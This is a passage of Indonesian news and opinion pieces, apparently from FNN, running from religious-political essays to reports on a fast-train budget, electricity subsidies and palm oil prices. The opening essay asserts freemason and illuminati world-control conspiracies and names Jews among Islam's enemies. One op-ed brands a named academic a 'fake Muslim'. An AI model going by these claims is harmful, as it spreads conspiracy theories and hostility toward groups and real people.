waktu, polarisasi keduanya tidak sekedar memasuki pertarungan ideologi semata. Melainkan memperebutkan pengaruh dan penguasaan ekonomi, politik dan sistem pertahanan keamanan. Skema yang dibutuhkan untuk mengatur dan mengelola masyarakat dunia. Dua kutub dominan itu merangsek bersinggungan mengambil posisi sebagai poros tunggal kehidupan dunia. Dunia dalam satu kendali atau penguasaan kelompok dan kepentingan tertentu. Sebut saja Kaum free mansion, illuminati, gerakan anti Tuhan dll. Dunia disiapkan memasuki era 'new order'. Fase hegemoni dan dominasi tidak sekedar bertumpu pada persoalan ideologi semata. Lebih dari itu ia menyasar pada hal-hal yang substansial meliputi aspek geografis, geopolitis dan geostrategis. Dimana penguasaan sumber daya alam, sumber daya manusia dan sumber daya ekonomi lainnya begitu strategis dan menjadi target utama. Lewat perang dagang yang berkolerasi erat dengan lembaga-lembaga dunia, korporasi besar dan bank dunia seperti IMF dan ADB yang menggulirkan manajemen hutang internasional. Ada kecenderungan pengaruh global yang dipimpin oleh kekuatan 'non state'. Dunia terasa dalam konstelasi peperangan kolonialisme dan imperialisme modern. Oleh satu kendali dan oleh satu penguasaan kelompok atau kepentingan tertentu. Islam Sebagai Potensi Sekaligus Ancaman Di tengah-tengah keberadaan Islam sebagai agama doktrin dan peradaban manusia. Islam dilihat dunia khususnya oleh kekuatan kapitalis dan komunisme. Tidak sekedar sebuah ajaran yang rasional dan transedental. Umat Islam menjadi lebih menarik ditempatkan sebagai pasar dan komoditi yang menggiurkan. Islam di satu sisi sebagai satu potensi, dilain sisi menjadi ancaman terhadap keberlangsungan sistem yang dibangun dari pemikiran manusia dan ideologi kontemporer. Bagi urusan dunia yang digerakkan oleh distribusi modal dan sektor industrial. Islam dengan populasi yang semakin tumbuh dan luas sebarannya di dunia. Menjadi rentan korban eksplorasi dan eksploitasi globalisasi. Kegagalan negara-negara dengan mayoritas umat Islam membangun sistem nilai dan syariat Islam. Membuat umat Islam dunia terombang-ambing dan gamang layaknya populasi ternak. Dipelihara, dikembang-biakkan sesuai kebutuhan dan dimanfaatkan oleh kelompok dan komunitas tertentu. Sebagian diproyeksikan untuk diperjual-belikan dan menjadi peliharaan, sebagian lagi disembelih sebagai hewan potong untuk dikonsumsi. Seperti itu kira-kira fenomena umat Islam dianatomikan dan direkonstruksi dunia. Begitu pun umat Islam di Indonesia. Selain sistem politik yang sekuler dan pemimpin-pemimpin yang kental sebagai sub-koordinat atau menjadi agen kapitalisme dan komunisme. Tidak jauh berbeda dengan muslim di negara lain. Diidentifikasikan dalam demografi kelas sosial, wilayah dan jumlah. Tetap dalam posisi termarjinalkan. Tak peduli sebagai mayoritas dan minoritas atau bentuk negara. Bahkan termasuk dikawasan negara-negara Islam di kawasan timur tengah dan jazirah Arab sekalipun. Umat Islam mengalami kebuntuan dalam menderifikasi dan mem-breakdown konsep-konsep keagamaan Islam dalam membangun peradaban dunia. Terlebih terkait sistem ekonomi syariah umat. Islam justru menjadi menjadi 'captive market' dari industrialisasi yang ditopang oleh ideologi di lslam. Mirisnya, secara langsung dan tidak langsung umat Islam menjadi 'human resources' sekaligus mesin-mesin penggerak industri kapitalis dan komunis dunia. Umat Islam benar-benar telah mewujud sebagai korban dari apa yang disebut eksploitasi manusia atas manusia dan eksploitasi bangsa atas bangsa. Larut dari apa yang menjadi keniscayaan globalisasi. Melalui orientasi materlialistik dan kebendaan. Sistem kapitalisme dan komunisme memapar umat Islam dalam pelbagai lapisan. Gaya hidup hedonis mulai menjalar dari masyarakat Islam yang awam, intelektual, para pejabat hingga tidak sedikit Ulama sekalipun. Sebagian besar umat Islam mulai tercerabut pola pikir, ucapan dan tindakannya dari aqidahnya. Umat Islam begitu berjarak dan semakin menjauh dari syariat Islam sendiri. Benar apa yang kemudian dilansir Al Quran dan sunah, umat Islam akan diserang oleh pandemi modern yang sebenarnya berupa kecintaan pada dunia dan takut akan kematian (Wahn). Sekulerisasi dan liberalisasi terlalu dalam melingkupi pola hidup umat Islam. Umat Islam mengalami kemunduran tidak hanya karena kekuatan musuh-musuh Islam yang agresif dan penuh siasat semata. Lebih dari itu keterpurukan umat Islam juga lahir dari distorsi dalam lingkungannya sendiri. Selain tidak menjaga serta merawat barisan dan ukuwah Islamiyah. Tidak sedikit umat Islam yang menggadaikan dan menjual aqidahnya demi harta dan kedudukan. Bahkan untuk menghancurkan saudara Islamnya sendiri. Akhirnya terbukti dan menjadi kenyataan pahit bahwa musuh-musuh Islam itu tidak berasal dari kalangan kafir, komunis dan zionis yahudi saja. Orang-orang Islam yang oleh Al Quran disebut tergolong munafik dan fasik semakin nyata muncul seiring waktu bergulir. Mungkin ini yang disebut masa jahiliyah hadir kembali ditengah peradaban manusia modern?. Apakah umat Islam harus mengalami titik nadir dalam degradasi kehidupan keagamaanya. Sampai kapan dunia begitu leluasa membonsai umat Islam?. Adakah keberanian khususnya di Indonesia untuk menghadirkan kebangkitan umat Islam?. Wallahu a'lam bishawab. Penulis, Pegiat Sosial dan Yayasan Human Luhur Berdikari.

Muslim Palsu

By M Rizal Fadillah MUSLIM palsu adalah yang mengaku muslim tetapi tidak berjender Islam. Manusia yang tak jelas celupan warnanya. Dia laki-laki tetapi berlenggak lenggok perempuan atau perempuan berotot dan melotot seperti laki-laki. Muslim palsu bukan yang dikehendaki Allah dan Rosul-Nya. Ambivalen karakternya. Muslim yang tidak meyakini syari'at Islam. Benar penilaian hakiki ada pada Allah SWT akan tetapi sesama insan tentu dapat menilai juga berdasarkan kriteria yang ada dalam Al Qur'an atau Sunnah. Tipe apakah sebenarnya dia. Ketika Al Qur'an sebagai 'furqon' membagi kelompok manusia kepada mu'min, kafir, dan munafik, maka parameter untuk menentukan kategori insan tersebut menjadi sangat jelas. Ayat menerangkan ciri untuk masing-masingnya. Mu'min adalah mereka yang berkeyakinan dan menjalankan penuh keutuhan ajaran baik akidah, sya'riah, maupun akhlakul karimah. Kafir, di samping jelas di luar beragama Islam, juga muslim yang menentang akidah, syari'ah dan akhlak nubuwah. Munafik adalah beragama Islam formal, mengklaim beriman, akan tetapi ragu terhadap kebenaran Islam. Menginterpretasi Islam sesuai dengan hawa nafsu dan fikiran sendiri. Tanpa basis dalil atau ketentuan. Sholat dan puasa adalah syari'at, begitu juga dengan zakat dan haji. Cara nikah, membagi waris, atau berwakaf dan berekonomi tanpa bunga adalah syari'at pula. Lebih jauh syari'at mengatur soal larangan LGBT, makan babi, serta aturan pidana baik yang "qath'i" (pasti) maupun "maqasid as syari'ah" (maknawi). Syari'at memiliki keluasan penerapan. Tidak menjalankan apalagi meragukan syari'at sebagai hukum Allah dapat dikualifikasikan sebagai kafir atau zalim (Al Maidah 44-45). Deklarasi Ade Armando cukup menarik. Dengan alasan kebebasan berpendapat ia menyatakan mengaku muslim tetapi tidak yakin syari'at itu wajib bagi muslim. Syari'at dalam Al Qur'an hanya berlaku untuk waktu lalu. Soal kebebasan berpendapat ya oke oke saja, cuma menyatakan syari'at tidak wajib bagi muslim adalah keliru dan dapat menyinggung keyakinan. Di sisi lain keyakinan Ade tentu membuka peluang pada orang lain juga untuk boleh dan bebas menilai Ade Armando. Boleh juga berpendapat atau bertanya Ade Armando itu muslim bukan ? Atau boleh juga jika orang berpendapat dan menyatakan bahwa Ade Armando adalah muslim palsu. Jika tak suka pada pandangan atau penilaian demikian, cepat luruskan pemahaman syari'at untuk keyakinannya itu. Syari'at itu wajib bagi muslim, bahwa implementasi beragam itu persoalan lain. Jika tak yakin bahwa syari'at itu wajib, lalu buat apa Ade Armando sholat? Atau mungkin benar apa yang disebut Nabi dengan "alladziina yusholuuna walaa yusholuun" Mereka yang sholat tetapi sebenarnya tidak sholat. Atau memang Ade juga ragu bahwa sholat itu adalah syari'at dan hanya berlaku dahulu di zaman Nabi saja? Jika Ade Armando paham akan tata hukum Indonesia, syari'at Islam itu sebenarnya sebagian sudah menjadi hukum positif, karenanya sebagai akademisi ia tak patut mempermasalahkan syari'at Islam dalam konteks keyakinan umat Islam. Penegakan syari'ah bukan hal tabu atau terlarang sepanjang pertanggungjawaban akademik, filosofis dan sosiologis dapat diterima. Nah Ade Armando yang selalu nyinyir kepada umat Islam perlu diingatkan bahwa muslim itu tidak cukup hanya percaya pada Allah dan Rosul-Nya, tetapi harus menjalankan apa yang disyari'atkan oleh Allah dan Rosul-Nya itu. Bagi muslim yang menolak syari'at hanya dua kemungkinan yaitu kafir atau munafik. Mengerikan dan menyedihkan. Selain itu yang biasa jadi corong Ade Armando adalah Cokro TV yang kerjanya lebih banyak memojokkan Islam dan umat Islam, karenanya wajar jika umat Islam beranggapan bahwa Cokro TV itu sama saja dengan kerja Cokrobirowo. Pasukan Cakra. *) Analis Politik dan Keagamaan.

Telefon Misterius di Rumah Jenderal Yani

Jakarta, FNN - Kamis malam, 30 September 1965. Kolonel Soegandhi Kartosoebroto, bekas ajudan senior Presiden Sukarno mendatangi rumah Menteri/Panglima Angkatan Darat, Letnan Jenderal TNI Achmad Yani di Jalan Lembang D-58, Menteng, Jakarta Pusat. Ia bermaksud memberitahukan kepada Jenderal Yani bahwa Presiden Sukarno marah-marah di istana. “Apa itu Dewan Jenderal?! Apa itu Dewan Jenderal?!” kata Kolonel Sugandhi menirukan ucapan Sukarno yang sedang marah. Kolonel Soegandhi, anggota DPR Gotong Royong itu menceritakan hal tersebut kepada Mayor CPM (Corps Polisi Militer) Subardi, ajudan dari Jenderal Achmad Yani, di rumah Panglima Angkatan Darat. Soegandhi urung melaporkan langsung kepada Jenderal Yani. Ia menyampaikan hal tersebut kepada Mayor Subardi untuk disampaikan kepada orang nomor satu di Markas Besar Angkatan Darat. Alasannya masih ada tamu di kediaman Jenderal Yani. Mengenai Dewan Jenderal, Jenderal Yani sesungguhnya sudah menjelaskan kepada Presiden Sukarno. Yani dalam buku agendanya menyebutkan, Presiden Sukarno terpengaruh oleh PKI (Partai Komunis Indonesia) yang mengembuskan isu Dewan Jenderal yang akan melakukan kudeta terhadap Presiden pada 5 Oktober 1965. “Isu dewan jenderal, jenderal-jenderal Pentagon berkulit sawo matang, serta dokumen Gilshrist tentang Our Local Army Friend dibuat oleh PKI untuk menyudutkan saya,” kata Yani dalam tulisan di agendanya. Yani memang lulusan sekolah militer di Amerika Serikat dan Inggris saat berpangkat letnan kolonel senior. Ia mengikuti Pendidikan di US Army Command and General Staff College di Fort Leavenworth, Kansas, Amerika Serikat. Kemudian melanjutkan pendidikan di Warfare Trainning di Inggris pada 1955. Mengenai isu-isu miring terhadap dirinya, Jenderal Yani mengirimkan surat kepada Presiden Sukarno. “Isunya diputarbalikkan, seakan-akan kami (karena disekolahkan oleh negara ke Amerika) pro-Amerika, mata-mata Amerika dan akan menyingkirkan Presiden. Beberapa kali info tersebut disampaikan (PKI) pada Bapak Presiden bahwa AD (Angkatan Darat) akan coup, akan ini dan itu. Lama-lama kalau Bapak (Presiden RI) mendengar soal ini juga mulai percaya (PKI). Anti PKI tidak berarti otomatis pro Amerika, sebaliknya anti-Barat otomatis pro-Timur,” ujar Yani dalam suratnya kepada Presiden Sukarno. Padahal, kata Yani, bukti-bukti ketaatan TNI sudah cukup diberikan terhadap setiap penyelewengan dari tujuan nasional, dari mana pun datangnya telah dan akan kita hadapi. (Semua pemberontakan dan pergolakan di Tanah Air ditumpas oleh TNI atas nama negara). Dewan Jenderal yang dimaksud sesungguhnya adalah rapat para jenderal senior untuk menentukan sejumlah kolonel yang akan dipromosikan menjadi brigadir jenderal. Sejak berpangkat brigadir jenderal, Yani menjadi Sekretaris Dewan Jabatan dan Kepangkatan Tinggi (Wanjakti). Rapat biasanya dipimpin Letjen Gatot Subroto dan Mayor Jenderal GPH Djatikusumo. Nasakom dan Angkatan Kelima Kembali soal kedatangan Kolonel Soegandhi. Ia tidak bisa masuk rumah Yani, karena Panglima Angkatan Darat masih menerima tamu hingga pukul 22.00 WIB. Sehingga Soegandhi menyampaikan pesan tersebut kepada ajudan Yani. Tamu istimewa Yani malam itu adalah Panglima Kodam Brawijaya, Mayor Jenderal TNI Basuki Rachmat. Basuki melaporkan kepada Yani bahwa aktivis Gerwani (Gerakan Wanita Indonesia) dari PKI melakukan perusakan kantor Gubernur Jawa Timur (Jatim). Malam itu, Jenderal Yani sekalian mengajak Jenderal Basuki Rachmat untuk ikut menghadap Presiden Sukarno pada Jumat pagi, 1 Otober 1965 tentang situasi di Jawa Timur tersebut. Yani juga sudah memberitahukan kepada ajudan bahwa Jumat pagi akan menghadap Presiden Sukarno. Sekaligus memberitahukan kepada istrinya bahwa kemungkinan hari itu juga akan dicopot dari jabatan sebagai Menteri/Panglima Angkatan Darat. “Bapak sudah memberitahukan kepada Ibu bahwa akan diganti oleh Mayor Jenderal TNI Moersid,” kata Amelia Yani, putri ketiga dari delapan bersaudara, anak kandung dari pasangan Jenderal Yani dengan Yayuk Ruliyah Sutodiwiryo. Keluarga mengetahui hal tersebut dari Mayor Subardi. Ketidakcocokan dengan Presiden Sukarno mengenai konsep Nasakom (Nasional, Agama, Komunis) dan sikap keras Achmad Yani menolak Angkatan Kelima, menjadi sinyal retaknya hubungan Yani dengan Presiden Sukarno. Angkatan Kelima yang digagas PKI dan kemudian mendapatkan dukungan dari Presiden Sukarno ditentang keras oleh Angkatan Darat. Angkatan Kelima di luar dari Angkatan Darat, Angkatan Laut, Angkatan Udara, dan Angkatan Kepolisian. Angkatan Kelima yang diminta PKI agar buruh dan tani turut dipersenjatai untuk membantu perjuangan Indonesia dalam melawan Inggris yang mendirikan negara Federasi Malaysia. Jumlahnya sekitar 15 ribu orang, terdiri dari 5.000 buruh dan 10.000 tani. Peringatan Haryono MT Jenderal Yani marah besar ketika anak buahnya Pembantu Letnan Dua (Pelda) Sujono di Bandar Betsy, Simalungun, Sumatra Utara, tewas. Sujono gugur pada 14 Mei 1965 setelah kepalanya dicangkul oleh aktivis tiga organisasi sayap PKI, yaitu BTI (Barisan Tani Indonesia), PR (Pemuda Rakyat) dan Gerwani. Sepekan setelah peristiwa Bandar Betsy tersebut, Deputi III Menteri/Panglima Angkatan Darat, Mayor Jenderal TNI MT Haryono menyarankan kepada Yani untuk bertindak terhadap PKI. “Kalau (Panglima Angkatan Darat) tidak mulai mengambil tindakan (terhadap PKI), tak pelak Anda akan dibunuh mereka,” kata Mayjen Haryono kepada Letjen Yani pada 20 Mei 1965. Malam semakin larut. Mayjen Basuki Rahmat pun pamit sambil memberikan hormat militer. Yani langsung menuju kamar tidurnya untuk istirahat. Mempersiapkan diri menerima keputusan untuk diganti oleh Mayor Jenderal Moersjid, Deputi I Menteri/Panglima Angkatan Darat. Saat Yani tidur, malam itu, dua kali telepon di rumahnya berdering. Setelah diangkat oleh putri keduanya, Emi Yani, di ujung telepon menanyakan “Bapak ada di rumah?” Tidak merasa curiga, sang putri menjawab, “Bapak ada di rumah sudah tidur.” Pada malam Jumat itu, jelang pergantian hari, telepon dari orang tidak dikenal, kembali berdering. Lagi-lagi menanyakan posisi Jenderal Yani. “Bapak ada di rumah?” Kembali dijawab oleh Emi Yani, “Bapak ada di rumah sedang tidur.” Kisah-kisah di malam kelam itu diceritakan Amelia Yani, putri ketiga dari Pahlawan Revolusi Jenderal Achmad Yani, kepada penulis di kediaman Jenderal Yani, Jl Lembang D-58, Menteng, Jakarta Pusat, 28 Oktober 2021 lalu. Rumah ketika Jenderal Yani diculik dan dibunuh oleh Pasukan Gerakan 30 September (G-30-S) yang dibantu Pemuda Rakyat, organisasi sayap PKI. Bagaimana kisah selegkapnya? Ikuti wawancara Selamat Ginting dengan Amelia Yani dalam channel youtube SGinting Official, jaringan FNN. https://www.youtube.com/watch?v=3A9xEzcszNQ

Soal Kereta Cepat, Rachmat Gobel: Sebaiknya APBN Fokus untuk IKN

Jakarta, FNN - Wakil Ketua DPR RI Rachmat Gobel berpendapat sebaiknya APBN difokuskan untuk pemulihan ekonomi, pembangunan infrastruktur dasar, dan untuk pembangunan Ibukota Negara (IKN) yang baru, dibandingkan membiayai proyek kereta api cepat Jakarta-Bandung. “Soal kereta cepat biar kita serahkan ke investornya. Ini sesuai dengan ide awal yang berprinsip business to business,” katanya melalui keterangan tertulis di Jakarta, Sabtu. Hal itu disampaikan menanggapi kebijakan pemerintah yang akhirnya akan menggelontorkan dana APBN untuk menyuntik pembiayaan pembangunan kereta cepat Jakarta-Bandung. China memenangkan persaingan dengan Jepang dalam pembangunan kereta cepat sepanjang 142,3 km tersebut. Saat itu, kata dia, Jepang mengajukan proposal dengan nilai 6,2 miliar dolar AS, sedangkan China mengajukan 5,5 miliar dollar AS. China juga menang karena tak meminta jaminan pemerintah, tak ada keterlibatan APBN, dan skema business to business. Namun kemudian biayanya membengkak menjadi 6,07 miliar dollar AS, dan kini bengkak lagi menjadi 7,97 miliar dollar AS. “Kita tidak tahu apakah akan ada kenaikan lagi atau tidak. Yang pasti hingga kini sudah bengkak dua kali. Kondisi ini sudah berkebalikan dengan tiga janji semula serta sudah lebih mahal dari proposal Jepang. Padahal dari segi kualitas pasti Jepang jauh lebih baik,” kata Rachmat Gobel. Menurut dia, agar Indonesia konsisten dengan skema business to business, maka pembengkakan biaya itu diserahkan ke perusahaan konsorsium Kereta Cepat Indonesia China (KCIC). Konsorsium ini melibatkan sembilan perusahaan. Dari Indonesia ada empat BUMN yaitu Wijaya Karya, Jasamarga, Perkebunan Nusantara VIII, dan KAI. Sedangkan dari China adalah China Railway International Company Limited, China Railway Group Limited, Sinohydro Corporation Limited, CRRC Corporation Limited, dan China Railway Signal and Communication Corp. Dari Indonesia membentuk badan usaha PT Pilar Sinergi BUMN dan dari China membentuk China Railway. Lalu keduanya membentuk KCIC. “Jadi jika terjadi pembengkakan biaya maka diserahkan kepada perusahaan-perusahaan tersebut. Dan jika ada perusahaan yang tak mampu menyetorkan biaya tambahan maka sahamnya terdelusi dengan sendirinya. Ini proses bisnis yang biasa saja. Ini namanya business to business. Jangan memaksakan diri dengan meminta dana dari APBN,” kata Rachmat Gobel. Ia juga mempertanyakan keandalan studi kelayakan pihak China. “Pertama, pada pembengkakan pertama katanya karena faktor asuransi. Kedua, pada pembengkakan kedua katanya karena faktor geologi dan geografi. Ketiga, banjir yang menggenangi jalan tol Jakarta-Cikampek terjadi akibat tersumbatnya saluran air karena pembangunan kereta cepat. Semua itu mestinya sudah bisa dihitung di dalam studi kelayakan," katanya. Karena itu Rachmat Gobel meminta pihak KCIC berlaku transparan dan jujur. "Jangan sampai nanti minta tambahan duit lagi. Seolah bangsa ini diakali pelan-pelan,” katanya. Rachmat Gobel mengatakan pembangunan kereta cepat ini merupakan perwujudan visi Presiden Jokowi yang harus didukung semua pihak. Namun ia mengingatkan jangan sampai visi Presiden tersebut tidak bisa diwujudkan para pembantu dengan benar dan bertanggung jawab. “Saya senang sekarang Pak Luhut Panjaitan mengambil alih kereta cepat ini. Saya percaya beliau orang yang tegas dan terang,” katanya. (mth)

PLN Salurkan Bantuan Listrik dari Pemerintah Rp 63,18 Triliun

Jakarta, FNN - PT PLN (Persero) telah menyalurkan bantuan listrik dari pemerintah sebesar Rp 63,18 triliun hingga September 2021 untuk meringankan beban masyarakat dan industri yang terdampak pandemi COVID-19. Direktur Niaga dan Manajemen Pelanggan PLN Bob Saril menjelaskan bantuan listrik itu terdiri dari stimulus, subsidi, hingga kompensasi. "Realisasi program stimulus COVID-19 pada 2020-2021 tercatat Rp 22,58 triliun yang disalurkan kepada 33,04 juta pelanggan," ujarnya dalam keterangan yang dikutip di Jakarta, Sabtu. Bob menyampaikan bahwa Jawa Barat menjadi provinsi dengan jumlah stimulus listrik tertinggi sebesar Rp1,92 triliun. Posisi kedua ditempati Jawa Tengah dengan nilai stimulus Rp1,69 triliun, serta posisi ketiga ditempati Jawa Timur dengan nilai stimulus Rp1,60 triliun. PLN senantiasa menjalankan program penugasan pemerintah untuk mendukung masyarakat mendapatkan energi listrik yang memadai. Di tengah pandemi, perseroan sebagai badan usaha yang diberi tanggung jawab pada bidang ketenagalistrikan menjalankan penugasan pemerintah dalam penyaluran subsidi, kompensasi maupun stimulus listrik. Diskon diberikan secara langsung kepada para pelanggan baik itu prabayar maupun pasca bayar. Bagi pelanggan pascabayar diskon diberikan dengan langsung memotong tagihan rekening listrik pelanggan. Sementara itu, pelanggan prabayar mendapat diskon tarif listrik yang diberikan saat pembelian token listrik. "Realisasi program stimulus per September 2021 tercatat Rp 9,42 triliun yang telah disalurkan kepada 31,94 juta pelanggan," terang Bob. Selain stimulus listrik, PLN juga menyalurkan subsidi listrik yang merupakan salah satu program pemerintah untuk mengurangi tekanan ekonomi masyarakat yang kurang mampu. "Tercatat, realisasi subsidi telah mencapai Rp37,39 triliun sampai dengan September 2021 atau mencapai 69,8 persen terhadap pagu APBN 2021," ujar Bob. Perusahaan setrum negara ini juga menyalurkan kompensasi listrik yang merupakan selisih antara tarif yang dibayarkan oleh pelanggan non-subsidi dengan nilai tarif adjustment. Kompensasi listrik ini ditanggung oleh pemerintah melalui Anggaran Pendapatan dan Belanja Negara (APBN) dengan angka realisasi mencapai 16,18 triliun per September 2021. Segmen industri merupakan segmen tertinggi dalam penerimaan kompensasi senilai Rp 8,16 triliun atau 50,43 persen, dilanjutkan dengan segmen rumah tangga sebesar Rp 5,18 triliun atau 32,01 persen, dan posisi ketiga adalah segmen bisnis sebesar Rp 2,39 triliun atau 14,77 persen. (mth)

Aceh Siap Tarik Investasi di Expo 2020 Dubai

Jakarta, FNN - Aceh disebut telah menyederhanakan regulasi tentang penanaman modal, sehingga Serambi Mekah siap menarik investasi pada perhelatan internasional Expo 2020 Dubai. “Kami telah menyederhanakan regulasi penanaman modal dengan Qanun Nomor 5 tahun 2018 tentang penanaman modal. Penyederhanaan ini dilakukan sebagai wujud inovasi dari pemerintah dalam rangka menarik minat investor di Aceh,” kata Gubernur Aceh Nova Iriansyah lewat keterangannya diterima di Jakarta, Sabtu. Langkahl tersebut dilakukan mengingat Aceh memiliki empat sektor potensial mulai dari agroindustri, pariwisata, energi dan infrastruktur, hingga zona perkembangan bisnis. Demi memaksimalkan potensi tersebut, Pemerintah Provinsi Aceh terus melakukan berbagai pembenahan mulai dari infrastruktur, komoditas yang berkualitas, SDM yang bertalenta, hingga iklim bisnis yang mendukung. Upaya Pemerintah Provinsi Aceh dalam dalam membangun ekonomi kerakyatan dan menyongsong Indonesia Emas 2045 diperkuat melalui pengembangan sektor pariwisata dan perdagangan. Berbagai potensi tersebut akan ditampilkan pada forum bisnis dalam kurun waktu empat hari, terhitung dari tanggal 30 Oktober hingga 2 November 2021. Terdapat 10 topik yang menarik mengenai potensi pariwisata yang menjadi peluang investasi dan aneka komoditas yang menjadi potensi perdagangan. Forum Bisnis ini akan diisi oleh pemateri mulai dari Gubernur Aceh, Kepala Pusat Promosi Investasi Aceh, hingga Kepala Sabang Free Trade Zone. Forum bisnis ini akan bertempat di Business Lounge Paviliun Indonesia. Pada sektor pariwisata, Pemprov Aceh berfokus untuk melanjutkan pengembangan kawasan pariwisata Pulau Banyak, sebagai potensi destinasi pariwisata baru bagi para wisatawan lokal maupun mancanegara. Pulau Banyak yang terletak di Kabupaten Aceh Singkil akan dikembangkan menjadi kawasan pariwisata mewah mengingat kawasan tersebut memiliki potensi sebagai tempat liburan untuk para selebriti dunia. Potensi pariwisata lain yang ditampilkan adalah mulai dari Kawasan Ekonomi Khusus (KEK) Arun Lhokseumawe, Taman Industri Ladong, Sabang Free Trade Zone (FTZ) Resort dan Lapangan Golf di Lhoknga, Aceh Besar. Pada sektor perdagangan, Pemprov Aceh mendorong komoditas andalannya, yakni Kopi Arabika Gayo, untuk kian bersaing di pasar internasional dengan membukakan pintu peluang promosi perdagangan internasional. Potensi perdagangan lainnya yang turut ditampilkan mulai dari komoditas tuna asap, kopi charcoal, minyak nilam (patchouli oi), saos tomat murni, dan Aceh tamiang. Produk lokal khas Aceh juga turut ditampilkan dalam rolling exhibition. Aneka produk tersebut merupakan produk UMKM yang telah terkurasi dan siap ekspor. Aneka produk tersebut mulai dari home décor mulai dari peralatan dapur dan rumah tangga. Kemudian pada industri fesyen, ada aksesoris, tas tangan, hingga busana muslim yang fashionable. Di sisi lain, pada industri makanan dan minuman akan menyajikan olahan kopi gayo dan rempah-rempah khas Aceh yang dikemas dengan apik. Selain itu, aneka kosmetik mulai dari parfum hingga essential oil juga turut ditampilkan. (mth)

Harga CPO Jambi Naik Rp 389 per Kilogram

Jambi, FNN - Harga minyak sawit mentah atau CPO (Crude Palm Oil) di Jambi pada periode 29 Oktober hingga 4 November 2021, naik sebesar Rp389 dari harga Rp13.193 menjadi Rp13.582 per kilogram bandingkan periode sebelumnya. Hasil yang ditetapkan tim perumus untuk harga Tandan Buah Segar (TBS) kelapa sawit juga naik sebesar Rp107 dari Rp2.382 menjadi Rp2.489 per kilogram, sedangkan inti sawit periode kali ini melonjak sebesar Rp1.355 dari Rp7.663 jadi Rp9.018 per kilogram, kata Panitia Penetapan Harga TBS Sawit Provinsi Jambi, Putri Rainun, pada keterangan yang diterima Sabtu. Untuk harga CPO, TBS, dan inti sawit beberapa periode terakhir ini terus mengalami kenaikan dibandingkan periode lalu berdasarkan hasil keputusan dari kesepakatan tim perumus harga CPO di Jambi bersama para petani, perusahaan perkebunan sawit, serta pihak terkait Berikut selengkapnya harga TBS untuk usia tanam tiga tahun yang ditetapkan untuk periode kali ini adalah Rp2.489 per kilogram, usia tanam 4 tahun Rp2.648 per kilogram, usia tanam 5 tahun Rp2.770 per kilogram, usia tanam 6 tahun Rp2.887 per kilogram, dan usia tanam 7 tahun Rp2.960 per kilogram. Kemudian untuk usia tanam 8 tahun senilai Rp3.022 per kilogram, usia tanam 9 tahun Rp3,082 per kilogram, usia tanam 10 sampai dengan 20 tahun Rp3.175 per kilogram, usia 21 hingga 24 tahun Rp3.078 per kilogram dan di atas 25 tahun Rp2.935 per kilogram. Penetapan harga CPO, TBS, dan inti sawit, merupakan kesepakatan tim perumus dalam satu rapat dihadiri para pengusaha, koperasi, dan kelompok tani sawit setempat dan berdasarkan peraturan menteri pertanian dan peraturan gubernur. (mth)

Sebanyak 1.600 Peserta Ikuti Seminar Pengelolaan Sungai di Surabaya

Surabaya, FNN - Sebanyak 1.600 peserta mengikuti seminar internasional ke-7 tentang pengelolaan wilayah sungai yang digelar Himpunan Ahli Teknik Hidarulika Indonesia (HATHI) di Institut Teknologi Sepuluh Nopember (ITS) Surabaya, Sabtu. Ketua HATHI Jatim Prof. Dr. Ir. Nadjadji Anwar, M.Sc dalam sambutannya mengatakan seminar internasional yang digelar secara daring dan luring kali ini sekaligus juga Pertemuan lmiah Tahunan (PIT) HATHI ke-38. "Sampai saat ini, Kota Surabaya sudah empat kali menjadi tuan rumah pelaksanaan PIT, yakni PIT ke-2 pada 1985, PIT ke-12 pada 1995, PIT ke-25 2008 dan PIT ke-38 pada 2021," kata Nadjadji Anwar. Sedangkan untuk Seminar Internasional ke-7 yang diagendakan HATHI setiap dua tahun sekali, lanjut dia, Kota Surabaya digunakan sebagai tempat pelaksanaan seminar adalah untuk pertama kalinya. Adapun untuk tema PIT HATHI dan Seminar Internasional kali ini adalah "Dirgahayu 60 Tahun Pengelolaan Wilayah Sungai di Indonesia, Pengelolaan Infrastruktur Ketahanan Air Berkelanjutan. "Tema ini diambil untuk menghargai karya anak bangsa dalam mengelola dan memelihara sungai," ujarnya. Selain itu, lanjut dia, menandai bahwa pelopor pengelolaan wilayah sungai di Indonesia adalah dua sungai di Jawa Timur yakni Sungai Brantas dan Sungai Bengawan Solo. Menurutnya, 60 tahun tahun lalu mulai dikembangkan pengelola sungai Brantas terpadu yang tidak hanya menangani permasalahan air dan sungai saja, tapi juga pengelolaan wilayah dan lingkungan agar dikelola secara baik. "Selamat atas keberhasilan dan kami mengucapkan terima kasih," ujarnya. Adapun pembicara dalam seminar Internasional kali ini yakni President of Asis Water Caouncil (AWC) Dr. Jae-Hyeon Park dengan makalah berjudul "Inteligent River Basin Management", Perwakilan Balai Besar Wilayah Sungai (BBWS) Brantas Ir. Sukistijono Dpl.HE, dengan makala berjudul "60 Years of Brantas River Basin Development Challanges, Obstacles dan Successes". Pembicara terakhir Rektor Institut Teknologi Sepuluh Nopember (ITS) Prof. Dr. Ir. Mochamad Ashari, M. Eng., dengan judul makalah "Learning Systems for Enginering Experts". Sekretaris Umum HATHI Dr. Ismail Widadi,S.T., M.Sc menambahkan, titik tekan dalam kegiatan seminar kali ini adalah menyadarkan kepada stakeholder bahwa pengelolaan sumber daya air saat ini banyak tantangan. "Cara mengantasinya tidak biasa biasa saja, jadi dituntut ada solusi yang bekelanjutan. Salah sastu pembicara dalam seminar ini akan menjelaskan intelejen pengelolaan sumber daya air yang cerdas menjawab tantangan di masa akan datang," katanya. (mth)

ACT Luncurkan Operasi Pangan Murah di Banjarmasin

Banjarmasin, FNN - Aksi Cepat Tanggap (ACT) Kalimantan Selatan meluncurkan program operasi pangan murah dan operasi pangan gratis di Kota Banjarmasin. "Kegiatan ini pertama kalinya di Kalsel," ujar Kepala Cabang ACT Kalsel Zainal Arifin di Banjarmasin, Sabtu. Kegiatan yang dilaksanakan ACT dan dibuka Wali Kota Banjarmasin H Ibnu Sina tersebut dilaksanakan di Halaman Balaikota Banjarmasin, selama satu hari ini. Dia mengatakan, dalam operasi pangan murah, masyarakat pra sejahtera dapat membeli kebutuhan pokok dengan harga yang cukup terjangkau. "Dalam program ini, masyarakat dapat membeli bahan pokok sesuai kebutuhan dengan harga yang terjangkau. Selain itu, program ini juga dapat memberdayakan pelaku usaha kecil menengah," ucap Zainal. Dia berharap, dengan kehadiran operasi pangan murah, dapat menumbuhkan perekonomian masyarakat. Dalam peluncuran operasi pangan murah ini, diberikan kepada 100 orang penerima manfaat di Kota Banjarmasin dan sekitarnya. Kebutuhan pokok yang dijual dalam operasi 